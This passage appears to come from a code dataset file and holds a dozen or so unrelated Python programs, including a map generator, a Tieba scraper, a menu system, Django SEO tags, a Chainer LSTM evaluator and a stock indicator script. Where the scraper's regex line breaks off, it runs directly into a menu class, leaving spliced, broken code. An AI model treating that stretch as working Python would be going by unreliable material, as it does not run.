possible_directions.append(self.partition_horizontal)\n if self.region.width >= self.minimum_size.width * 2:\n possible_directions.append(self.partition_vertical)\n\n if possible_directions:\n method = random.choice(possible_directions)\n return method()\n else:\n return [self.region]\n\n def partition_horizontal(self):\n # We're looking for the far edge of the top partition, so subtract 1\n # to allow it on the border of the minimum size\n top = self.region.top + self.minimum_size.height - 1\n bottom = self.region.bottom - self.minimum_size.height\n\n if top > bottom:\n return [self.region]\n\n midpoint = random.randrange(top, bottom + 1)\n\n return [\n self.region.adjust(bottom=midpoint),\n self.region.adjust(top=midpoint + 1),\n ]\n\n def partition_vertical(self):\n # We're looking for the far edge of the left partition, so subtract 1\n # to allow it on the border of the minimum size\n left = self.region.left + self.minimum_size.width - 1\n right = self.region.right - self.minimum_size.width\n\n if left > right:\n return [self.region]\n\n midpoint = random.randrange(left, right + 1)\n\n return [\n self.region.adjust(right=midpoint),\n self.region.adjust(left=midpoint + 1),\n ]\n\n\nclass PerlinFractor(Fractor):\n def draw_something_something_rename_me(self):\n from flax.noise import discrete_perlin_noise_factory\n noise = discrete_perlin_noise_factory(*self.region.size, resolution=4, octaves=2)\n for point in self.region.iter_points():\n n = noise(*point)\n if n < 0.2:\n arch = Floor\n elif n < 0.4:\n arch = Dirt\n elif n < 0.6:\n arch = CutGrass\n elif n < 0.8:\n arch = Grass\n else:\n arch = Tree\n self.map_canvas.arch_grid[point] = arch\n\n\ndef generate_map():\n map_canvas = MapCanvas(Size(80, 24))\n\n perlin_fractor = PerlinFractor(map_canvas)\n perlin_fractor.draw_something_something_rename_me()\n\n fractor = Fractor(map_canvas)\n fractor.place_player()\n return map_canvas.to_map()\n\n # TODO probably need to start defining different map generation schemes and\n # figure out how to let the world choose which one it wants\n bsp_fractor = BinaryPartitionFractor(map_canvas, minimum_size=Size(8, 8))\n regions = bsp_fractor.maximally_partition()\n\n for region in regions:\n fractor = Fractor(map_canvas, region)\n fractor.generate_room()\n\n fractor = Fractor(map_canvas)\n fractor.place_player()\n return map_canvas.to_map()\n","sub_path":"flax/fractor.py","file_name":"fractor.py","file_ext":"py","file_size_in_byte":7143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"604306063","text":"import sys\n\nfrom lark import Lark\n\nfrom interop.ast import ToAST\n\n_PARSER = \"interop.lark\"\n\n\ndef create_parser() -> Lark:\n with open(_PARSER, \"r\") as f:\n parser = Lark(f, start=\"program\", debug=True, parser=\"lalr\")\n\n return parser\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Usage: python compile.py \")\n sys.exit(1)\n\n with open(sys.argv[1], \"r\") as f:\n src = f.read()\n\n parser = create_parser()\n\n tree = parser.parse(src)\n print(\"Parse Tree: \", tree, \"\\n\")\n\n t = ToAST()\n print(\"AST: \", t.transform(tree))\n","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"309258615","text":"import requests, re\n\n\nurlLink = 'http://tieba.baidu.com/p/2166231880'\n\nr = requests.get(urlLink)\nr.close()\nurlList = re.findall(r'' + str(self.subMenuObj[i].menuIndex) + '-' + self.subMenuObj[i].title, 2)\n #self.num = self.button.key_input()\n #i += self.num\n \n #if self.num == 0:\n #break\n \n if isinstance(self.subMenuObj[i], ToggleOption):\n print(' >> Status / ', self.subMenuObj[i].getstatus())\n else:\n print('')\n \n #i=0\n #while True:\n '''\n if len(self.subMenuObj) > i:\n #self.display.lcd_long_write(self.display, '>' + str(self.subMenuObj[i].menuIndex) + '-' + self.subMenuObj[i].title, 2)\n num = self.button.key_input()\n #i = i-1 + num\n self.display.lcd_long_write(self.display, str(self.num),2)\n #if (num == True) and (i >= 0):\n # continue\n #elif 0> i:\n # i+=1\n # break\n #elif not num:\n # break\n '''\n def menu_wrapper(self, method, **kwargs):\n print('\\n')\n for i in range(len(self.title) + 48):\n print(\"=\", end='')\n print(\"\\n\", self.title)\n self.display.lcd_clear()\n self.display.lcd_long_write(self.display, self.title, 1)\n for i in range(len(self.title) + 48):\n print(\"=\", end='')\n print(\"\")\n\n method(**kwargs)\n\n for i in range(len(self.title)+48):\n print(\"=\", end='')\n print(\"\\n0 - Back\")\n for i in range(len(self.title)+48):\n print(\"=\", end='')\n\n\nclass SubMenu(Menu):\n def __init__(self, title, index, prevmenu, **kwargs):\n super().__init__(title, index)\n self.prevMenu = prevmenu\n prevmenu.subMenuObj.append(self)\n\n\n\n#single executable option\nclass ExecOption(SubMenu):\n def __init__(self, title, index, prevmenu, **kwargs):\n super().__init__(title, index, prevmenu)\n self.function = kwargs.pop('function', None)\n self.funcargs = kwargs\n\n def opt_guide(self):\n guide = self.funcargs.pop('optguide', None)\n if guide:\n print(guide)\n\n def run(self):\n try:\n if self.function:\n self.function(**self.funcargs)\n\n except:\n sys.stderr.write('executable option execution failed')\n\nclass ExecOptionList(ExecOption):\n def __init__(self, title, index, prevmenu, **kwargs):\n super().__init__(title, index, prevmenu, **kwargs)\n self.funcdic = kwargs.pop('funcdic', None) #{0: (func0, name, kwargs0), 1: (func1, name, kwargs1), ...}\n self.trueopt = kwargs.pop('trueopt', 'On')\n self.falseopt = kwargs.pop('falseopt', 'Off')\n self.togglestat = list(None for i in range(len(self.funcdic)))\n\n def lister(self):\n if self.function:\n self.function(**self.funcargs)\n if self.funcdic:\n for index in range(len(self.funcdic)):\n print(index, '-', self.funcdic[index][1], ' ', self.funcdic[index][0].__name__, end='')\n if self.togglestat[index] is not None:\n if self.togglestat[index]:\n stat = self.trueopt\n else:\n stat = self.falseopt\n print('>>', stat)\n else:\n print('')\n\n def run(self):\n self.menu_wrapper(self.lister)\n\n\nclass ToggleOption(ExecOption):\n def __init__(self, title, index, prevmenu, **kwargs):\n super().__init__(title, index, prevmenu, **kwargs)\n self.toggleStatus = False\n self.function2 = kwargs.pop('function2')\n self.trueopt = kwargs.pop('trueopt', 'On')\n self.falseopt = kwargs.pop('falseopt', 'Off')\n self.funcargs = kwargs\n\n def run(self):\n try:\n if self.toggleStatus is False:\n try:\n print(self.function, self.funcargs)\n self.function(**self.funcargs)\n self.toggleStatus = not self.toggleStatus\n except:\n print('run failure 1')\n else:\n try:\n if self.function2 is not None:\n print(self.function2, self.funcargs)\n self.function2(**self.funcargs)\n self.toggleStatus = not self.toggleStatus\n else:\n self.function(**self.funcargs)\n self.toggleStatus = not self.toggleStatus\n except:\n print('run failure 2')\n\n except:\n sys.stderr.write('executable option execution failed\\n')\n\n def getstatus(self):\n if self.toggleStatus:\n return self.trueopt\n else:\n return self.falseopt","sub_path":"test_twiceOk/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"388333508","text":"import re\nimport os\nimport pytz\nimport logging\nfrom rdflib import Literal\nfrom rdflib.namespace import XSD\nfrom datetime import datetime, date\n\nfrom followthemoney.types.common import PropertyType\nfrom followthemoney.util import defer as _\nfrom followthemoney.util import dampen, sanitize_text\n\nlog = logging.getLogger(__name__)\n\n\nclass DateType(PropertyType):\n # JS: '^([12]\\\\d{3}(-[01]?[1-9](-[0123]?[1-9])?)?)?$'\n DATE_RE = re.compile(r'^([12]\\d{3}(-[01]?[0-9](-[0123]?[0-9]([T ]([012]?\\d(:\\d{1,2}(:\\d{1,2}(\\.\\d{6})?(Z|[-+]\\d{2}(:?\\d{2})?)?)?)?)?)?)?)?)?$') # noqa\n DATE_FULL = re.compile(r'\\d{4}-\\d{2}-\\d{2}.*')\n CUT_ZEROES = re.compile(r'((\\-00.*)|(.00:00:00))$')\n MONTH_FORMATS = re.compile(r'(%b|%B|%m|%c|%x)')\n DAY_FORMATS = re.compile(r'(%d|%w|%c|%x)')\n MAX_LENGTH = 19\n DATE_PATTERNS_BY_LENGTH = {\n 19: [\"%Y-%m-%dT%H:%M:%S\"],\n 18: [\"%Y-%m-%dT%H:%M:%S\"],\n 17: [\"%Y-%m-%dT%H:%M:%S\"],\n 16: [\"%Y-%m-%dT%H:%M\", \"%Y-%m-%dT%H:%M:%S\"],\n 15: [\"%Y-%m-%dT%H:%M\", \"%Y-%m-%dT%H:%M:%S\"],\n 14: [\"%Y-%m-%dT%H:%M\", \"%Y-%m-%dT%H:%M:%S\"],\n 13: [\"%Y-%m-%dT%H\", \"%Y-%m-%dT%H:%M\"],\n 12: [\"%Y-%m-%dT%H\", \"%Y-%m-%dT%H:%M\"],\n 11: [\"%Y-%m-%dT%H\"],\n 10: [\"%Y-%m-%d\", \"%Y-%m-%dT%H\"],\n 9: [\"%Y-%m-%d\"],\n 8: [\"%Y-%m-%d\"],\n 7: [\"%Y-%m\"],\n 6: [\"%Y-%m\"],\n 5: [],\n 4: [\"%Y\"],\n }\n\n name = 'date'\n group = 'dates'\n label = _('Date')\n plural = _('Dates')\n matchable = True\n\n def validate(self, obj, **kwargs):\n \"\"\"Check if a thing is a valid date.\"\"\"\n obj = sanitize_text(obj)\n if obj is None:\n return False\n return self.DATE_RE.match(obj) is not None\n\n def _clean_datetime(self, obj):\n \"\"\"Python objects want to be text.\"\"\"\n if isinstance(obj, datetime):\n # if it's not naive, put it on zulu time first:\n if obj.tzinfo is not None:\n obj = obj.astimezone(pytz.utc)\n return obj.isoformat()[:self.MAX_LENGTH]\n if isinstance(obj, date):\n return obj.isoformat()\n\n def _clean_text(self, text):\n # limit to the date part of a presumed date string\n # FIXME: this may get us rid of TZ info?\n text = text[:self.MAX_LENGTH]\n if not self.validate(text):\n return None\n text = text.replace(' ', 'T')\n # fix up dates like 2017-1-5 into 2017-01-05\n if not self.DATE_FULL.match(text):\n parts = text.split('T', 1)\n date = [p.zfill(2) for p in parts[0].split('-')]\n parts[0] = '-'.join(date)\n text = 'T'.join(parts)\n text = text[:self.MAX_LENGTH]\n # strip -00-00 from dates because it makes ES barf.\n text = self.CUT_ZEROES.sub('', text)\n return text\n\n def clean(self, text, format=None, **kwargs):\n \"\"\"The classic: date parsing, every which way.\"\"\"\n # handle date/datetime before converting to text.\n date = self._clean_datetime(text)\n if date is not None:\n return date\n\n text = sanitize_text(text)\n if text is None:\n return\n\n if format is not None:\n # parse with a specified format\n try:\n obj = datetime.strptime(text, format)\n text = obj.date().isoformat()\n if self.MONTH_FORMATS.search(format) is None:\n text = text[:4]\n elif self.DAY_FORMATS.search(format) is None:\n text = text[:7]\n return text\n except Exception:\n return None\n\n return self._clean_text(text)\n\n def _specificity(self, value):\n return dampen(5, 13, value)\n\n def compare(self, left, right):\n prefix = os.path.commonprefix([left, right])\n return dampen(4, 10, prefix)\n\n def rdf(self, value):\n return Literal(value, datatype=XSD.dateTime)\n\n def node_id(self, value):\n return 'date:%s' % value\n\n def to_datetime(self, value):\n formats = self.DATE_PATTERNS_BY_LENGTH.get(len(value), [])\n for fmt in formats:\n try:\n dt = datetime.strptime(value, fmt)\n return dt.replace(tzinfo=pytz.UTC)\n except Exception:\n continue\n log.debug('Date cannot be parsed %r: %s', formats, value)\n\n def to_number(self, value):\n date = self.to_datetime(value)\n if date is not None:\n return date.timestamp()\n","sub_path":"followthemoney/types/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"238086384","text":"import pygame\n\npygame.init()\n\nscreen_width = 480\nscreen_height = 640\nscreen = pygame.display.set_mode((screen_width,screen_height))\n\n\npygame.display.set_caption(\"JAE GAME\")\n\nbackground = pygame.image.load(\"D:\\\\pygame_basic\\\\background.png\")\n\ncharacter = pygame.image.load(\"D:\\\\pygame_basic\\\\character.png\")\ncharacter_size = character.get_rect().size #character size?\ncharacter_width = character_size[0] #character wid\ncharacter_height = character_size[1] #character height\ncharacter_x_pos = screen_width / 2 - (character_width/2) #character x location\ncharacter_y_pos = screen_height - character_height #character y location\n\n\nto_x = 0\nto_y = 0\n\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n if event.type == pygame.KEYDOWN: #key 눌러졌는 지 확인\n if event.key == pygame.K_LEFT:\n to_x -= 5\n elif event.key == pygame.K_RIGHT:\n to_x += 5\n elif event.key == pygame.K_UP:\n to_y -= 5\n elif event.key == pygame.K_DOWN:\n to_y += 5\n if event.type == pygame.KEYUP : #키 뗐을때!\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n to_x=0\n elif event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n to_y = 0\n\n\n character_x_pos += to_x\n character_y_pos += to_y\n\n if character_x_pos < 0 : \n character_x_pos = 0\n elif character_x_pos > screen_width - character_width : \n character_x_pos = screen_width - character_width\n\n if character_y_pos < 0 :\n character_y_pos = 0\n elif character_y_pos > screen_height - character_height :\n character_y_pos = screen_height - character_height\n\n screen.blit(background, (0,0)) #background\n screen.blit(character, (character_x_pos, character_y_pos)) #character \n\n pygame.display.update() #게임화면 다시 그리기! 이거없으면 실행 안됨\n\npygame.QUIT","sub_path":"4_keyboard_event.py","file_name":"4_keyboard_event.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"397828721","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom pymatgen.io.vasp import Poscar, Xdatcar\nfrom pymatgen.symmetry.groups import SpaceGroup\nfrom pymatgen import Structure, Lattice\nimport numpy as np\nimport operator\nfrom site_analysis import Atom, Analysis, ShortestDistanceSite, get_vertex_indices, AtomsTrajectory, SitesTrajectory\nfrom collections import Counter\nimport tqdm\n\nx1 = Xdatcar('1/XDATCAR')\nx2 = Xdatcar('2/XDATCAR')\nx3 = Xdatcar('3/XDATCAR')\nx4 = Xdatcar('4/XDATCAR')\nx5 = Xdatcar('5/XDATCAR')\nstructures = x1.structures + x2.structures + x3.structures + x4.structures + x5.structures\n\n\nall_na_structure = Poscar.from_file('na_sn_all_na_ext.POSCAR.vasp').structure\nvertex_species = 'Se'\ncentre_species = 'Na'\n\nsg = SpaceGroup('I41/acd:2')\nfrom pymatgen import Structure, Lattice\nlattice = all_na_structure.lattice\nna1 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.25, 0.0, 0.125]])\nna2 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.00, 0.0, 0.125]])\nna3 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.0, 0.25, 0.0]])\nna4 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.0, 0.0, 0.0]])\nna5 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.75, 0.25, 0.0]])\nna6 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.5, 0.75, 0.625]])\ni2 = Structure.from_spacegroup(sg='I41/acd:2', lattice=lattice, species=['Na'], coords=[[0.666, 0.1376, 0.05]])\nna_structures = {'Na1': na1,\n 'Na2': na2,\n 'Na3': na3,\n 'Na4': na4,\n 'Na5': na5,\n 'Na6': na6,\n 'i2': i2}\n\nna1_sites = [ ShortestDistanceSite(s.frac_coords, label='Na1') for s in na1 ]\nna2_sites = [ ShortestDistanceSite(s.frac_coords, label='Na2') for s in na2 ]\nna3_sites = [ ShortestDistanceSite(s.frac_coords, label='Na3') for s in na3 ]\nna4_sites = [ ShortestDistanceSite(s.frac_coords, label='Na4') for s in na4 ]\nna5_sites = [ ShortestDistanceSite(s.frac_coords, label='Na5') for s in na5 ]\nna6_sites = [ ShortestDistanceSite(s.frac_coords, label='Na6') for s in na6 ]\ni2_sites = [ ShortestDistanceSite(s.frac_coords, label='i2') for s in i2 ]\nsites = na1_sites + na2_sites + na3_sites + na4_sites + na5_sites + na6_sites + i2_sites\n\n\nstructure = Poscar.from_file('1/POSCAR').structure\n# create Polyhedron objects\n# create Atom objects\natoms = [Atom(species_string=centre_species) for site in structure if site.species_string is 'Na']\nanalysis = Analysis(sites, atoms)\n\nanalysis.trajectory_from_structures( structures, progress=True)\n\n\n#Counts instances of no, single, and double occupation for each site.\nn_timesteps = len(analysis.timesteps)\nc_sites = { l: Counter() for l in analysis.site_labels() }\nc = Counter()\np_occ = {}\nfor site in analysis.sites:\n for ts in site.trajectory:\n c_sites[site.label][len(ts)] += 1\nf = open(\"detail_sites.dat\", \"w+\")\nf.write(str(c_sites))\nf.close()\n\n\n#Altered version of summation for probabilities that includes sum of len in order to account for double site occupations. This was causing the inital bug.\nn_timesteps = len(analysis.timesteps)\nc_sites = Counter(analysis.site_labels())\nc = Counter()\np_occ = {}\nfor site in analysis.sites:\n c[site.label] += sum([ len(ts) for ts in site.trajectory if len(ts)>0 ])\n\nfor k, v in c.items():\n p_occ[k] = v / c_sites[k] / n_timesteps\np_occ\nf = open(\"sites.dat\", \"w+\")\nf.write(str(p_occ))\nf.close()\n\n\nfor k,v in c.items():\n check = sum( [ p_occ[k] * c_sites[k] for k, v in c.items()])\nf = open(\"check_sites.dat\", \"w+\")\nf.write(str(check))\nf.close()\n","sub_path":"appendix/Se/data/900K/Ge/site_count.py","file_name":"site_count.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"521069474","text":"# Copyright (C) 2014 Glamping Hub (https://glampinghub.com)\n# License: BSD 3-Clause\n\nfrom django.template import Library\nfrom django.utils.translation import get_language\n\nfrom painlessseo import settings\nfrom painlessseo.models import SeoMetadata\nfrom painlessseo.utils import get_path_metadata\nfrom django import template\n\nregister = Library()\n\n\n@register.filter\ndef single_quotes(description):\n return description.replace('\\\"', '\\'')\n\n\n@register.tag(name='capture_as')\ndef do_capture_as(parser, token):\n try:\n tag_name, args = token.contents.split(None, 1)\n except ValueError:\n raise template.TemplateSyntaxError(\"'capture_as' node requires a variable name.\")\n nodelist = parser.parse(('endcapture_as',))\n parser.delete_first_token()\n return CaptureAsNode(nodelist, args)\n\n\nclass CaptureAsNode(template.Node):\n def __init__(self, nodelist, varname):\n self.nodelist = nodelist\n self.varname = varname\n\n def render(self, context):\n output = self.nodelist.render(context)\n # Trim and remove duplicated spaces\n output = output.strip()\n output = \" \".join(output.split())\n context[self.varname] = output\n return ''\n\n\n@register.inclusion_tag('painlessseo/metadata.html', takes_context=True)\ndef get_seo(context, **kwargs):\n path = context['request'].path\n lang_code = get_language()[:2]\n view = context.get('view', None)\n seo_context = {}\n seo_obj = None\n\n if view:\n # Try to get the instance if exists\n try:\n if hasattr(view, 'get_object'):\n seo_obj = view.get_object()\n except AttributeError:\n pass\n\n if hasattr(view, 'get_seo_context'):\n seo_context = view.get_seo_context()\n\n metadata = get_path_metadata(\n path=path, lang_code=lang_code,\n instance=seo_obj,\n seo_context=seo_context)\n\n result = {}\n for item in ['title', 'description']:\n result[item] = (\n metadata.get(item) or\n kwargs.get(item))\n return result\n\n\n@register.simple_tag(takes_context=True)\ndef get_seo_title(context, default=''):\n return get_seo(context, title=default).get('title')\n\n\n@register.simple_tag(takes_context=True)\ndef get_seo_description(context, default=''):\n return get_seo(context, description=default).get('description')\n","sub_path":"painlessseo/templatetags/seo.py","file_name":"seo.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"102819303","text":"# std\nimport unittest\n\n# project\nfrom src.notifier import Event, EventType, EventPriority, EventService\nfrom src.notifier.script_notifier import ScriptNotifier\n\n\nclass TestScriptNotifier(unittest.TestCase):\n def setUp(self) -> None:\n self.notifier = ScriptNotifier(\n title_prefix=\"Test\", config={\"enable\": True, \"script_path\": \"tests/test_script.sh\"}\n )\n\n def testLowPriorityNotifications(self):\n errors = self.notifier.send_events_to_user(\n events=[\n Event(\n type=EventType.USER,\n priority=EventPriority.LOW,\n service=EventService.HARVESTER,\n message=\"Low priority notification 1.\",\n ),\n Event(\n type=EventType.USER,\n priority=EventPriority.LOW,\n service=EventService.HARVESTER,\n message=\"Low priority notification 2.\",\n ),\n ]\n )\n self.assertFalse(errors)\n\n def testNormalPriorityNotifications(self):\n errors = self.notifier.send_events_to_user(\n events=[\n Event(\n type=EventType.USER,\n priority=EventPriority.NORMAL,\n service=EventService.HARVESTER,\n message=\"Normal priority notification.\",\n )\n ]\n )\n self.assertFalse(errors)\n\n def testHighPriorityNotifications(self):\n errors = self.notifier.send_events_to_user(\n events=[\n Event(\n type=EventType.USER,\n priority=EventPriority.HIGH,\n service=EventService.HARVESTER,\n message=\"This is a high priority notification!\",\n )\n ]\n )\n self.assertFalse(errors)\n","sub_path":"tests/notifier/test_script_notifier.py","file_name":"test_script_notifier.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"387287743","text":"\"\"\"\nTitle : day3_conditional_statements\nSubdomain : 30 days of code\nDomain : Python\nAuthor : Sai Ram Adidela\nCreated : 18 April 2018\n\"\"\"\nN = input().strip()\n\nif not N.isdigit():\n print(\"Not Weird\")\nelse:\n N = int(N)\n if N % 2 == 0:\n if 5 >= N >= 2:\n print(\"Not Weird\")\n elif 20 >= N >= 6:\n print(\"Weird\")\n elif N > 20:\n print(\"Not Weird\")\n else:\n print(\"Weird\")\n","sub_path":"30_days_Of_Code/day3_conditional_statements.py","file_name":"day3_conditional_statements.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"233058276","text":"import numpy as np\nimport chainer\nfrom chainer import cuda, Function, gradient_check, Variable, optimizers, serializers, utils\nfrom chainer import Link, Chain, ChainList\nimport chainer.functions as F\nimport chainer.links as L\nimport math\nimport sys\n\nfrom impls import with_dropout, helpers\n\n\ndef calc_perplexity(model, s):\n sum = 0.0\n _, dim = model.embed.W.data.shape\n h = Variable(np.zeros((1, dim), dtype=np.float32), volatile='on')\n c = Variable(np.zeros((1, dim), dtype=np.float32), volatile='on')\n for i in range(1, len(s)):\n w1, w2 = s[i - 1], s[i]\n x_k = model.embed(Variable(np.array([w1], dtype=np.int32), volatile='on'))\n z0 = model.Wz(x_k) + model.Rz(h)\n z1 = F.tanh(z0)\n i0 = model.Wi(x_k) + model.Ri(h)\n i1 = F.sigmoid(i0)\n f0 = model.Wf(x_k) + model.Rf(h)\n f1 = F.sigmoid(f0)\n c = i1 * z1 + f1 * c\n o0 = model.Wo(x_k) + model.Ro(h)\n o1 = F.sigmoid(o0)\n y = o1 * F.tanh(c)\n yv = F.softmax(model.W(y))\n pi = yv.data[0][w2]\n sum -= math.log(pi, 2)\n return sum\n\n\nmodel_filename = sys.argv[1]\n\nvocab = {}\ntrain_data = helpers.load_data('.data/ptb.train.min.txt', vocab)\neos_id = vocab['']\nmax_id = len(vocab) - 1\n\ndemb = 100\nmodel = with_dropout.Lstm(len(vocab), eos_id, demb)\nserializers.load_npz(model_filename, model)\n\ntest_data = helpers.load_data('.data/ptb.test.txt', vocab)\ntest_data = test_data[0:1000]\n\ns = []\nhas_unknown = False\ntotal_word_num = 0\nsum = 0.0\n\nfor pos in range(len(test_data)):\n id = test_data[pos]\n s.append(id)\n if id > max_id:\n has_unknown = True\n if id == eos_id:\n if not has_unknown:\n ps = calc_perplexity(model, s)\n sum += ps\n total_word_num += len(s) - 1\n else:\n has_unknown = False\n s = []\n\nprint(math.pow(2, sum / total_word_num))\n","sub_path":"try-chainer/chapter07/eval-lstm1.py","file_name":"eval-lstm1.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"66719025","text":"import random\r\nimport networkx as nx\r\nnumber_add = 5\r\nfor sample in range(10):\r\n for repeat in range(10):\r\n edges = []\r\n sample_graph = nx.Graph()\r\n with open(\"../synthetic_network/synthetic_sample/synthetic_sample\"+str(sample)+\".txt\") as fin:\r\n for line in fin:\r\n arr = line.replace('\\n','').split('\\t')\r\n edges.append((int(arr[0]),int(arr[1])))\r\n sample_graph.add_edges_from(edges)\r\n original_edges = []\r\n original_graph = nx.Graph()\r\n with open(\"../synthetic_network/synthetic_network_undirect.txt\") as fin:\r\n for line in fin:\r\n arr = line.replace('\\n','').split('\\t')\r\n original_edges.append((int(arr[0]),int(arr[1])))\r\n original_graph.add_edges_from(original_edges)\r\n for node in sample_graph.nodes():\r\n candidate = []\r\n neighbors_sample = set(sample_graph.neighbors(node))\r\n neighbors_original = set(original_graph.neighbors(node))\r\n candidate = list(neighbors_original - neighbors_sample)\r\n random.shuffle(candidate)\r\n for neighbor in candidate[:number_add]:\r\n if node < neighbor:\r\n edges.append((node,neighbor))\r\n else:\r\n edges.append((neighbor,node))\r\n edges = list(set(edges))\r\n print(len(edges))\r\n with open(\"../synthetic_network/synthetic_random_node_prediction/synthetic_sample\"+str(sample)+\"/synthetic_random\"+str(repeat)+\".txt\",'w') as fout:\r\n for edge in edges:\r\n fout.write(str(edge[0])+\"\\t\"+str(edge[1])+\"\\n\")\r\n","sub_path":"Observation5/code/random_node_prediction.py","file_name":"random_node_prediction.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"160977626","text":"# inspiration was from - https://medium.com/swlh/creating-a-trading-strategy-from-scratch-in-python-fe047cb8f12\r\n# Looking to find a good indicator to find stocks that have already made their move to sell calls/puts\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport ta\r\nimport yfinance as yf\r\nimport mplfinance as mpf\r\nimport plotly.graph_objs as go\r\nimport plotly.io as pio\r\npio.renderers.default = \"browser\"\r\nfrom numpy import zeros\r\nfrom pandas import DataFrame\r\n# ETFs that we do not need compliance approval\r\ntickers = ['DIA', 'IYY', 'QQQ', 'PSQ', 'QQQE', 'SPSM', 'VTWO', 'IWM', 'RWM', 'IWV', 'SPTM', 'VTHR', 'OEF', 'SH', 'SPXB',\r\n 'SPY', 'IVV', 'VOO', 'VXXB', 'SPDN', 'RSP', 'PBP', 'MIDU', 'MYY', 'MZZ', 'IEV', 'MIDD', 'EWU', 'EWH', 'TYBS',\r\n 'TYNS', 'TBT', 'SHY', 'TLT', 'IEF', 'STIP', 'GVI', 'TLH', 'FXA', 'FXB', 'FXC', 'FXCH', 'FXE', 'FXY', 'FXSG',\r\n 'FXSG', 'FXF', 'DBV', 'UDN', 'UUP', 'DBA', 'DBB', 'DBC', 'DBE', 'DGL', 'DBO', 'DBP', 'DBS', 'PDBC', 'SGOL',\r\n 'PPLT', 'GLTR', 'SIVR', 'PALL', 'BCI', 'AOIL', 'DJP', 'OIL', 'JO', 'BCM', 'GSP', 'SGG', 'NIB', 'JJG',\r\n 'JJC', 'COW', 'BAL', 'DGZ', 'OILK', 'IAU', 'CMDY']\r\n\r\ndata = yf.download('SPY', period='6mo')\r\ndf = pd.DataFrame(data)\r\n\r\ndf = pd.DataFrame(df[['Open', 'High', 'Low', 'Close', 'Volume']])\r\nprint(df.isnull().sum())# check to see if any zeroes\r\nprint(df.head())\r\nplt.plot(df['Close'], linewidth=0.75, label='', color = 'blue')\r\nplt.show() #look normal?\r\n\r\n#MFN = ((close - low) - (high - close) / (high - low)) *100\r\ndf[\"mfm_cml\"] = df[\"Close\"] - df[\"Low\"]\r\ndf['mfm_hmc'] = df[\"High\"] - df[\"Close\"]\r\ndf[\"mfn_hml\"] = df[\"High\"] - df[\"Low\"]\r\ndf[\"mfmB\"] = ((df[\"mfm_cml\"] - df['mfm_hmc']) / df[\"mfn_hml\"])\r\ndf[\"mfm\"] = ((df[\"mfm_cml\"] - df['mfm_hmc']) / df[\"mfn_hml\"])*100\r\ndf.head()\r\nprint(df.isnull().sum())\r\n\r\nplt.plot(df[\"mfm_cml\"], linewidth=0.75, label='1', color = 'blue')\r\nplt.plot(df['mfm_hmc'], linewidth=0.75, label='2', color = 'r')\r\nplt.plot(df[\"mfn_hml\"], linewidth=0.75, label='2', color = 'g')\r\nplt.plot(df[\"mfmB\"], linewidth=0.95, label='2', color = 'black')\r\nplt.show() #just a visual check\r\n\r\n#Charts https://github.com/matplotlib/mplfinance\r\nmfn =pd.DataFrame(df[\"mfm\"])\r\nlower_b = -90\r\nhigh_b = 90\r\n\r\n\r\nfig = mpf.figure(figsize=(12,9))\r\n\r\nax1 = fig.add_subplot(2,2,1,style='blueskies')\r\nax2 = fig.add_subplot(2,2,2,style='yahoo')\r\ns = mpf.make_mpf_style(base_mpl_style='fast', base_mpf_style='nightclouds')\r\nax3 = fig.add_subplot(2,2,3,style=s)\r\nax4 = fig.add_subplot(2,2,4,style='starsandstripes')\r\n\r\nmpf.plot(df,ax=ax1,axtitle='Renko', type='renko', xrotation=15)\r\nmpf.plot(df,type='pnf',ax=ax2,axtitle='PNF', xrotation=15)\r\nmpf.plot(df,ax=ax3,type='candle',axtitle='nightclouds', mav=(3, 6, 9))\r\nmpf.plot(df,type='candle',ax=ax4,axtitle='starsandstripes')\r\n\r\nmpf.show()\r\n\r\nmpf.plot(df, type='renko')\r\nmpf.plot(df, type='pnf')\r\nmpf.plot(df, type='candle', mav=(3, 6, 9))\r\nmpf.plot(df)\r\n\r\nprice = df[\"Close\"]\r\ndef mfn_below90(mfn,price):\r\n import numpy as np\r\n signal = []\r\n previous = -1.0\r\n for date,value in mfn.iteritems():\r\n if value < -90 and previous >= -90:\r\n signal.append(price[date]*0.99)\r\n else:\r\n 